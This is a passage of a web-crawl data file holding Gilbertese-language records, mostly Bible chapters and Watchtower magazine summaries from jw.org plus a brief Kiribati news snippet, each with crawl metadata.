toki.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/59\/","date":"2018-01-17T23:09:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886979.9\/warc\/CC-MAIN-20180117212700-20180117232700-00319.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":720,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI Na. 3 2017 | Taan Toka i Aoia Aoti Aika Aman ao Rotakim ni Mwanangaia\nTERA AM IANGO?\nMwanangaia taan toka i aoia aoti aika aman aikai bon te rongorongo ae rangi n ataaki ae kanoan te boki ae Te Kaotioti. Tabeman a maaku iai, ao tabeman e rangi n anaaki nanoia iai. Nora ana taeka te Baibara ni kaineti ma taetae ni burabeti aikai:\n\"A a kukurei akana wareware ni kabaibati n te taetae ni burabeti aei ao akana ongora taekana.\"—Te Kaotioti 1:3.\nE maroroakinaki n Te Taua-n-Tantani aei bwa e kangaa n riki bwa te rongorongo ae raoiroi ibukira mwanangaia taan toka i aoia aoti aika aman aikai.\nATUN TE MAEKATIN\nAoti aika aman—temanna ae mainaina, temanna ae uraura, temanna ae roroo, ao temanna ae maii. Mwanangaia ae uota te bitaki ae korakora aei bon te rongorongo ae rangi n ataaki ae kanoan te boki ae Te Kaotioti.\nATUN TE MAEKATIN\nNora aroni kabwaraan nanon te miitara aei.\nKo bae n aki ataia bwa antai te aomata ae Tatenai, ma bwain rimoa ake a kuneaki irouia taan rabakau ake e mwaneweaki iai taekan teuaei, a boutokaa te koaua ae rangi ni kakawaki.\nE BITII MAIUIA AOMATA TE BAIBARA\nE tautoronaki Samuel Hamilton n tangiran ana takaakaro, ma e bita maiuna te reirei n te Baibara.\nKAKAIRI N AIA ONIMAKI\nE a noraki i Aikubita rianakon baaraoin Tara irouia ana toro Barao. Ko na bae ni kubanako te baere e riki imwina.\nE koaua ae te Atua e tangira riki te koraki n aomata teuana nakon are teuana? E koaua bwa a kakabwaiaaki tabeman ao ake tabemwaang a karekeaki kaia?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na3-2017-mei\/","date":"2018-01-23T04:30:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891706.88\/warc\/CC-MAIN-20180123032443-20180123052443-00703.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":269,"character_repetition_ratio":0.068,"word_repetition_ratio":0.038,"special_characters_ratio":0.211,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\nTe areru. Te anene ibukin te bongi n Taabati. 92 E raoiroi te kakaitau nakon Iehova,+Ao te anene n neboa* aram, ngkoe Teuare Moan te Rietata, 2 Bwa e na tataekinaki n te ingabong am tangira ae koaua*+Ao n taian tairiki, am kakaonimaki, 3 E na raonaki n te bwai ni katangitang ae tebwina karaina ao te raea,*Ma tangitangin te abi ae tangiraoi.+ 4 Bwa ko kakimwareireiai ngkoe ae Iehova, ibukin am mwakuri,I takarua ni kimwareirei ibukin ana mwakuri baim. 5 Ai korakorara am mwakuri ngkoe ae Iehova!+ Ao ai nanora am iango!+ 6 Akea te aomata ae ronnano ae kona n atai,Ao akea te aomata ae nanobaba ae kona n ota n aei:+ 7 Ngkana a bwebwerake akana buakaka n aron taian titania,*Ao ngkana a bane ni maiureirei taani kakaraoa ae bure,Ao bukin anne, bwa a na boni kamaunanakoaki n aki toki.+ 8 Ma ko karietataaki n aki toki, ngkoe ae Iehova. 9 Ao bon taraa konaakia akana kairiribai nakoim ngkoe ae Iehova,Tarai aroia ni mauna akana kairiribai nakoim,A na bane ni kamaenakoaki taani kakaraoa ae bure.+ 10 Ma ko na karietataa korakorau* n aroni korakoran te kao mwaane ae moaanti,N na kamaratoa kuniu n te bwaa ae boou.+ 11 Ao matau a na taraiia akana kairiribai nakoiu ngkana a a taenikai,+Ao taningau a na ongo taekani bwakaia aomata aika buakaka aika ekainako. 12 Ma a na maiureirei akana raoiroi n aron te aroka ae te baam,Ao a na rikirake ni bubura n aron te kai ae te tiira are i Rebanon.+ 13 A unikaki n ana auti Iehova,A maiureirei n ana katawanang Atuara.+ 14 E ngae naba ngkana a kara* ma a na teimatoa n rikirake,+A na teimatoa ni korakora* ao ni maiureirei,+ 15 N tataekina ae e raoiroi Iehova. Bon au Bwaa,+ ae akea te buakaka irouna.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/92\/","date":"2018-01-22T03:35:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890947.53\/warc\/CC-MAIN-20180122014544-20180122034544-00111.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":319,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI November 2015 | Tera Ana Iango te Atua n te Buaka?\nKo na bae ni mimi n ana kaeka te Baibara.\nATUN TE MAEKATIN\nNgkoangkoa, ao e tuangia ana aomata te Atua bwa a na buaka. Imwina riki, e reireinia aomata Iesu bwa a na tangiriia akana a kairiribai nakoia. Tera te bitaki?\nATUN TE MAEKATIN\nTenua koaua aika kakawaki aika kaoti okoroni buaka ake e kariaia te Atua.\nATUN TE MAEKATIN\nE ngae ngke e aki bitaki ana iango te Atua ibukin te buaka, ma e oti ni baika riiriki bwa iai te bitaki.\nATUN TE MAEKATIN\nE na karokoa te Atua te buaka ae e na katoki buaka nako.\nBukin tera ngke e korobuai Ioteba imwain teina i matani Barao? Ngke e taekinaki n te Baibara taman Timoteo bwa \"te I-Kuriiti,\" e koaua bwa e nanonaki iai ae bungiaki i Kuriiti?\nE BITII MAIUIA AOMATA TE BAIBARA\nBon te tia iowawa ngkoa Pawel Pyzara, e kamanenai drugs, ao e ukoukora naba ana beeba ae te degree. E riki bitakini maiuna imwin orona ma waniman mwaane.\nKAKAIRI N AIA ONIMAKI\nTera are e buoka bitakin Timoteo man te roro n rikirake ae mamaamaa nakon te mataniwi ni Kristian ae rianako arona?\nNgkana a na mangauti maate, a nang maeka ia?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20151101\/","date":"2018-01-20T13:50:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889617.56\/warc\/CC-MAIN-20180120122736-20180120142736-00311.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":211,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Kam na karina i aomi . . . te akoi, te nanorinano, te nimamannei, ao te taotaonakinnano.\"\nE riki te utu ae boou ngkana a mare aomata. E ngae ngke ko riai n tangiriia ao ni karineia am karo n taai nako, ma e a riki ngkai buum bwa te aomata ae moan te kakawaki iroum i aon te aba. E kona ni kangaanga butimwaean aei irouia am koraki tabeman. Ma a kona ni buokiko booto n reirei man te Baibara ni karaoa ae raoiroi, bwa ko aonga ni kateimatoa te rau ma am koraki ngkai ko kakorakorako ni karikirakea am iraorao n am utu ae boou.\n1 KATEIMATOA TE IANGO AE RAOIROI IBUKIA AM KORAKI\nTE BAE E TAKINAKI N TE BAIBARA: \"Karinea tamam ma tinam.\" (I-Ebeto 6:2) Ko riai ni karineia am karo n taai nako n aki ongeia bwa rorora ngkoe. E riai naba n ataa anne buum ngkai te nati ngaia bwa e na tabeakina ana karo ke am karo. \"E aki bakantang te tangira,\" ngaia are e na aki rawawata nanom n te reitaki i marenani buum ma ana karo.\nTE BAE KO KONA NI KARAOIA:\nRarawa ni kabatiaa te bwarantiko n aron aei: \"A aki toki ni kakeaa bongau am karo\" ke \"E bon tuai mani kukurei tinam n te bae I karaoia\"\nKataia n iaiangoi bwaai n aron iangoia irouni buum\n2 KAMATOAKO NGKANA E RIAI\nTE BAE E TAEKINAKI N TE BAIBARA: \"E na kitana tamana ma tinana te aomata, ao e na nim ma buna: ao a na riki n ti te irikona nakai.\" (Karikani Bwaai 2:24, BG) A kona n iangoia am karo bwa bon tabeia naba ngkoe ngkana ko a mare ao a tangiria ni karaoi babaire aika bati aika irekereke ma tekatekam n taanga imwin te mare nakon are ko na boni karaoia ma buum.\nE a bon nakoim ma buum karaoani kaetieti ibukia ami karo aika kam na boraoi n iango iai ao kaota te tangira nakoia ngkana kam maroroakinna ma ngaiia. Ko kona ni kaota nanom ao ni maroroakinna n te aro ae mataata ma te karinerine. (Taeka N Rabakau 15:1) E na ibuobuoki bwainan te nanorinano, te akoi ao te taotaonakinnano ibukini karikirakean te iraorao ae kaan ma am koraki ao n teimatoa n \"taotaon nanomi i marenami n te tangira.\"\nTE BAE KO KONA NI KARAOIA:\nNgkana ko tabeaianga bwa a a rangi n irekereke ami koraki ni maiumi, maroroakinna ma buum n akea te un\nKaai ni boraoi n iango ni kanakoraoani kangaanga akanne","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/kakukurei-utu\/kateimatoa-te-rau-ma-am-koraki\/","date":"2018-01-21T21:29:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890874.84\/warc\/CC-MAIN-20180121195145-20180121215145-00262.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":413,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n99 E a riki Iehova bwa te Uea.+ Ke a rurubenebene botannaomata. E tekateka n te kaintokanuea i etaia* kerubim.*+ Ke e mwainging te aonnaba. 2 E kakannato Iehova i Tion,Ao e rietata i aoia botannaomata ni kabane.+ 3 Ke a karaoiroa aram ae kakannato+Bwa e kamimi ma ni kakamaaku ao e tabu. 4 Bon te uea ae korakora ae tangira te kaetitaeka ae riai.+ Ko kateimatoa te bwai ae eti. Ao ko karokoa te kaetitaeka ae riai ma te raoiroi+ i buakoia tibun Iakoba. 5 Karietataa Iehova ae Atuara+ ao bobaraaki* i rarikin nangoani waena.+ E tabu.+ 6 A mena Mote ma Aaron i buakoia ana ibonga,*+Ao e mena Tamuera i buakoia ake a taboa arana.+ A na wetea Iehova,Ao ane e na kaekaia.+ 7 E na taetae nakoia man te boua ae te nang.+ Ao a kawakin ana kauring ma ana tua ake e angania.+ 8 Ko kaekaia, ngkoe ae Iehova ae Atuara.+ Boni ngkoe te Atua are ko kabwarai aia bure.+ Ma ko katuuaaeia* ibukin aia mwakuri aika bure.+ 9 Karietataa Iehova ae Atuara,+Ao bobaraaki* i matan ana maunga ae tabu,+Bwa e tabu Iehova ae Atuara.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/99\/","date":"2018-01-18T02:41:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887054.15\/warc\/CC-MAIN-20180118012249-20180118032249-00328.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":214,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"25 \"Ngkana e ueke te kauntaeka i marenaia mwaane, ao a kona n nako mataia taani moti,+ ao a na motiki taekaia ao a na atonga teuare raoiroi bwa akea ana bure, ao teuare buakaka bwa e bure.+ 2 Ngkana e tau n oreaki teuare buakaka,+ ao e na tua te tia moti nakon teuare buakaka bwa e na wene ni baraaki, ao e na oreaki i matana. E riai ni boraoi mwaitini kaina ma buakakan ana mwakuri. 3 E kona n oreia ni karokoa 40 kaina,+ ao akea riki. Ngkana e na reitaanako oreana ni kaina ae bati riki nakon aei, ao e na kamaamaeaki tarim i matam. 4 \"Ko na aki kabaea win te kao mwaane ngkana e toutoua te uita* ni kaaki kunna.+ 5 \"Ngkana a kaai ni maeka taari ao e mate temanna irouia n akea natina te mwaane, e aki riai buun teuare mate ni mare ma te aomata ae tiaki kaain te utu. E riai ni kawara neiei eirikina, ao e na anaia bwa buuna ni mare ngkai eirikina ao e na riki bwa buuna.+ 6 E na aranaki te karimoa are e na bungia neiei bwa natini buuna are mate,+ bwa e aonga n aki kamaunaaki aran teuanne mai buakoia tibun Iteraera.+ 7 \"Ma ngkana e aki kani mare teuanne ma buun tarina are mate, e riai ngkanne buun tarina are mate ni kawariia unimwaane ni mataroan oon te kaawa ao ni kangai, 'E rawa tarini buu ni kateimatoa aran tarina i Iteraera. E aki kariaia bwa e na mare ma ngai ngkai eirikina ngai.' 8 A riai unimwaanen ana kaawa teuaei ni weteia ao n taetae nakoina. Ngkana e imanono teuaei ao e kangai, 'I aki kani mare ma ngaia,' 9 e riai ngkanne buun tarina are mate ni kaania i mataia unimwaane, ni buuta ana kau teuanne mai waena+ ao ni bawarea ubuna, ao e na kangai, 'Anne te bwai ae e na karaoaki nakon te mwaane ae aki kani katea ana utu tarina.' 10 Imwin anne, ao e na ataaki aran ana utu* i Iteraera bwa, 'Ana utu te aomata are buutaki ana kau.' 11 \"Ngkana a boo n un mwaane aika uoman, ao e a rin naba i buakon te un buun temanna irouia, ni kamanoa buuna mairoun teuare oreia, ao e kaenakoa baina neiei ni koona ana bwai ni kakariki teuare temanna, 12 ko riai ni kabakua bain neiei. Ko* aki riai n nanoanga. 13 \"Kam aki riai ni kaaki i nanon ami baeki, atibu n tau rawawata aika uoua aika kaokoro,+ ae teuana ae bubura ao teuana ae uarereke. 14 Kam aki riai ni kaaki n ami auti bwaai ni baire* aika uoua aika kaokoro,+ ae teuana ae bubura ao teuana ae uarereke. 15 Kam riai ni bwaina te bwai n tau rawawata ae eti raoi ao ae aki babakanikawai, ao te bwai ni baire ae eti raoi ao ae aki babakanikawai, bwa e aonga n abwabwaki maiumi n te aba ae e a anganingkami Iehova ae Atuami.+ 16 Bwa aomata nako aika babakanikawai aika karaoi baikai, a riribaaki iroun Iehova ae Atuami.+ 17 \"Uringa te baere a karaoia tibun Amareka nakoimi i aoni kawaimi n otinako mai Aikubita,+ 18 ngke a kaitiboo ma ngkami i nanon te kawai, ao a buakania ami koraki ni kabane ake a karaurau n rimwi ngke kam a rangi ni kua ma n nimamate. A aki maaka te Atua. 19 Ngkana e anganingkami te motirawa Iehova ae Atuami mairouia akana kairiribai nakoimi ni kabane, aika otabwaniningkami n te aba ae e a anganingkami Iehova ae Atuami bwa tibwangami, bwa kam na abanna,+ ao kam riai ni kamaunai atongaia tibun Amareka mai aani karawa.+ Kam na tai mwaninga aei.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/25\/","date":"2018-02-19T14:58:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812665.41\/warc\/CC-MAIN-20180219131951-20180219151951-00093.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":643,"character_repetition_ratio":0.051,"word_repetition_ratio":0.025,"special_characters_ratio":0.238,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6 A riai n teimatoa tooro* n iangoiia aia toka bwa a tau ni kabatiaaki karineaia,+ bwa e aonga n aki taetae ni kabuakakaaki aran te Atua ma te angareirei.+ 2 Ao akana toro irouia aia toka aika taari, a aki riai ni kakeai karineaia kioina ngkai bon taari. Ma n oneani mwin anne a riai n tauraoi riki ni beku, ibukina bwa te koraki ake a kakabwaiaaki n aia beku, bon raoia n onimaki ao tariia aika tangiraki. Teimatoa n angareirei i aoni baikai ma ni kaungaunga iai. 3 Ngkana iai ae e kabutii reirei aika kewe ao e aki butimwaei kaetieti aika koaua,*+ ake mairoun ara Uea ae Iesu Kristo, ao e aki kakairi naba n te reirei ae boraoi ma tangiran te Atua,+ 4 ao e kainikatonga te aomata anne, ao e aki mataata n te bwai teuana.+ E babaeakina te kauntaeka ma te kaborabakau i aon taian taeka.+ A karikirakei baikai te bakantang, te kaiangatoa, te uarao,* bukibuki ni kabuakaka aika kanamakinaki, 5 te ikakaiwi ae okioki ibukini baika akea uaaia i marenaia aomata aika buakaka aia iango,+ aika a aki ataa te koaua, ake a taku n aia iango bwa tangiran te Atua bon te anga ae e na reke iai aroia.+ 6 Ma ni koauana, e boni korakora reken aron te aomata n tangiran te Atua+ n ikotaki ma te raunnano. 7 Bwa ti aki uabwai nako aon te aba, ao ti aki kona naba n uabwai mai aon te aba.+ 8 Mangaia ae ngkana iai kanara* ma kunnikaira,* ao a na rau nanora ni baikai.+ 9 Ma akana uaiakina te kani kaubwai, a bwaka nako nanon te kaririaki ao te kai ni kabwaru+ ao bwaruani baika nanobaba ma ni kaikoaki, ake a kabwakaia aomata nakon te kamaunanakoaki ao te kabuanibwai.+ 10 Teuana mai buakoni wakaani baika bubuaka ni kabane bon tangiran te mwane, ao ngkana a uaiakina karekean te aeka n tangira aei tabemwaang ao a kairakinako iai man te onimaki ao a ewariia ni maraki aika bati.+ 11 Ma ko na birinako mani baikai ngkoe ae ana aomata te Atua. Ao ukoukora te raoiroi, tangiran te Atua, te onimaki, te tangira, te nanomwaaka, ao te nimamannei.+ 12 Ko na buaka n te buaka ae raoiroi ibukin te onimaki, ao taua raoi te maiu are aki toki are ko weteaki nako iai ao are ko kaotiota taekana n te aro ae raoiroi i mataia taani kakoaua aika bati. 13 I tua nakoim i matan te Atua are kateimatoai maiuni bwaai ni kabane, ao i matani Kristo Iesu are anga te kaotioti ae raoiroi nakoni Bontio Birato+ i mataia aomata, 14 bwa ko na kakairi n te tua are I anganiko n te aro ae akea baarekana ao akea kabuakakaana ni karokoa kaotan ara Uea ae Iesu Kristo,+ 15 are e na kaotia n taina ae baireaki, teuare tii ngaia te Uea ae Mwaaka ae kukukurei. Boni ngaia aia Uea akana tautaeka bwa ueea, ao aia Toka akana tautaeka bwa tooka,+ 16 ae tii ngaia ae aki mamate,+ ae e mamaeka n te oota ae aki kona ni kaaniaki,+ ae akea te aomata ae e a tia n noria ke ni kona n noria.+ Ana bwai te karineaki ao te mwaaka n aki toki. Amen. 17 Aanga te kaetieti* nakoia akana kaubwai n te waaki ae ngkai i aon te aba* bwa a na aki kainikatonga,* ao a na aki kabotoi aia kantaninga i aon te kaubwai ae kai mauna+ ma a na kabotoi i aon te Atua, are e anganganira bwaai ni kabane ni kabatiai aika ti kukurei iai.+ 18 Tuangia bwa a na karaoa ae raoiroi, a na kabatiai aia mwakuri aika raraoi, a na tituaraoi, ao a na tauraoi n ibuokanibwai,+ 19 ao ni kaikoa aaia ae raoiroi ibukin taai aika a na roko bwa aia bwai ae kakawaki,+ bwa a aonga n taua raoi te maiu ni koaua.+ 20 Timoteo, kawakina raoi mwiokoam ae ko anganaki,+ ao tannako man taeka aika akea manenaia aika kakeai bongani baika tabu, ao man iango aika kauntaba ake a kairua n atongaki bwa aongkoa te atatai.+ 21 A a tia n rairakinako tabeman man te onimaki ibukina bwa a kainikatonga ni kaotiota te atatai anne. Ke e mena iroumi te akoi ae rianako.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-timoteo\/6\/","date":"2018-02-20T02:51:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812871.2\/warc\/CC-MAIN-20180220010854-20180220030854-00520.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":734,"character_repetition_ratio":0.05,"word_repetition_ratio":0.006,"special_characters_ratio":0.233,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5th Oct 2017 – Radio TV News\nby Online editor. E a tia n ribotinaki man te tabo ni Kuakua ma i Nawerewere bwa te ika ae te nimnai are e buti ngkai ni kaboanakoaki iaon Tarawa…\nAvailable now at Play Store !\nKiribati Updates\nKiribati Updates\nPowered by WordPress\nCreated & Hosted by Esamgel Hosting","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/05\/","date":"2018-02-24T11:32:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815560.92\/warc\/CC-MAIN-20180224112708-20180224132708-00350.warc.gz","language":"gil","language_score":0.9849621654,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9849621653556824}","num_words":52,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":0.936,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3 Tariu, bon tii tabeman i buakomi aika riai n riki bwa taan angareirei, ngkai kam ataia bwa ti na karekea iai motikan taekara ae rawawata riki.*+ 2 Bwa ti bane n titibanako* n taai aika bati.+ Ngkana e aki titibanako temanna n ana taetae, ao bon te aomata ngaia ae kororaoi, ae e kona ni bweena rabwatana ni kabane. 3 Ngkana ti kabaei bweeia aoti i wia bwa a na irii nanora, ao ti kaira naba rabwataia ae bwanin. 4 Tarai naba kaibuke: E ngae ngke a rangi ni bubura ao a kabubutaki n te ang ae korakora, ma a bweenaki n te bwe ae rangi n uarereke, nako ike e kan nako iai teuare taubwe. 5 N aron naba anne, te newe boni bwain te rabwata ae uarereke, ma e rangi ni kabatiaa te taetae ni kamoamoa. Noria, ai uarerekera te ai ae e kaurarakeaki iai te buakonikai ae moan te bubura! 6 Te newe bon te ai+ naba. E tei te newe ibukin te aonnaba ae onrake n te buakaka i buakoni bwain rabwatara, bwa e kamwaraea te rabwata.+ E kona n uruana maiun te aomata ao e karekea te kamaunaaki n aroni Keenna.* 7 Bwa a kona ni kamananaaki aekaki ni man nako aika moaanti ma mannikiba ao maan aika kawakawa, ma manin taari, ao a a tia ni kamananaaki irouia aomata. 8 Ma akea te aomata ae kona ni kamananaa te newe. Bon te bwai ae buakaka ae iowawa, ae e onrake n te boitin ae kamamate.+ 9 Ti kabongana te newe ni karaoiroa iai Iehova* ae te Tama, ma ti kabongana naba ni kamaraiaia iai aomata ake a karikaki \"ni katotongan te Atua.\"+ 10 A nako man te wi ae tii teuana te kakabwaia ao te kakamaraia. Ma e aki riai tariu bwa a na teimatoa n riiriki baikai n te aro aei.+ 11 E aki kona ni kaotinakoa te ran ae mam* ma ae tarika te koburake n ran ae tii teuana, tiaki ngaia? 12 Tariu, e aki kona te aroka ae te biiku ni karika te oriwa ke te kureebe, tiaki ngaia?+ Ao e aki naba kona te ran ae tarika ni karekea te ran ae mam. 13 Antai ae wanawana i buakomi ao n ataibwai? E riai te aomata anne ni bwaina te aroaro ni maiu ae raoiroi ae e oti iai bwa e karaoi bwaai ni kabane ma te nimamannei ae nako man te wanawana. 14 Ma ngkana iai i nanomi te bakantang+ ae korakora ma te kaiangatoa,*+ ao tai kamoamoa+ ma ni kewe n ekaanako te koaua. 15 Tiaki aei te wanawana ae ruo mai karawa, ma boni mai aon te aba,+ ae bwain te rabwata ao mairouia taimonio. 16 Bwa ike e mena iai te bakantang ao te kaiangatoa,* ao e mena naba iai te mangaongao ao baika rangi ni buakaka ni kabane.+ 17 Ma e itiaki moa te wanawana are mai karawa,+ ao imwina e rau,+ e aki imanono,+ e tauraoi n ongeaba, e on n te nanoanga ma uaa aika raraoi,+ e aki inanonano,+ ao e aki mwamwanaa te aba.+ 18 Irarikin anne, e unikaki uaan te raoiroi n te raoi,+ ibukia* te koraki ake taani karekea te raoi.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/iakobo\/3\/","date":"2018-02-18T07:33:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811794.67\/warc\/CC-MAIN-20180218062032-20180218082032-00791.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":561,"character_repetition_ratio":0.052,"word_repetition_ratio":0.007,"special_characters_ratio":0.245,"stopwords_ratio":0.467,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17 \"Kam na tai anga bwa te karea nakon Iehova ae Atuami, te kao mwaane ke te tiibu ae iai toabuakani bwain rabwatana ke e ikoaki, bwa e riribaaki iroun Iehova ae Atuami.+ 2 \"Ngkana tao iai te mwaane ke te aine ae noraki i buakomi, n ami kaawa teuana ae e a anganingkami Iehova ae Atuami, bwa e kakaraoa te bwai ae buakaka i matan Iehova ae Atuami, ao e urua ana berita,+ 3 ao e rairakinako n taromaurii atua riki tabeman ma ni bobaraaki nakoia, ke nakon taai, ke namwakaina, ke bwaini karawa ni kabane,+ ae te bwai ae I aki tua karaoana,+ 4 ma kam kaongoaki ke kam ongo taekana, kam riai ngkanne ni karaoa te kakaae raoi i aona. Ngkana e kamatoaaki bwa e boni koaua+ ae e boni karaoaki te bwai ae riribaaki aei i Iteraera, 5 kam riai ngkanne ni kaira te mwaane ke te aine ae karaoa te bwai ane buakaka anne, nako mataroan oon ami kaawa, ao e riai te mwaane ke te aine anne ni karebanaaki n atibu n uaa matena.+ 6 E riai ni kamateaki te aomata ane riai matena anne, n aia kaotioti* taani kakoaua aika uoman ke teniman.+ E na aki kamateaki n ana kaotioti te tia kakoaua ae tii temanna.+ 7 A riai taani kakoaua akanne ni 